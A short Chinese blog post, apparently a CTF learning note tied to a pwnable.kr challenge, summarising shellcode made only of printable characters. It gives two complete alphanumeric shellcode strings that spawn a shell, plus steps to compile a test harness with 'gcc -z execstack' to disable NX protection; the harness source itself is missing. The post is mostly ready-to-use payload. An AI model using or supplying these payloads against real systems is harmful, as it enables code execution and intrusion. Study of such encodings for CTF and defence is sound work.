最近做了pwnable.kr上的一道题,收获颇丰!其中就有对全是可见字符组成的shellcode的总结,也就是本文。
全是可见字符的shellcode
shellcode1: PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx
shellcode2: PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
实验
首先写一个test.c文件:
|
|
关闭NX保护:
gcc -z execstack -o test test.c
运行之后获得shell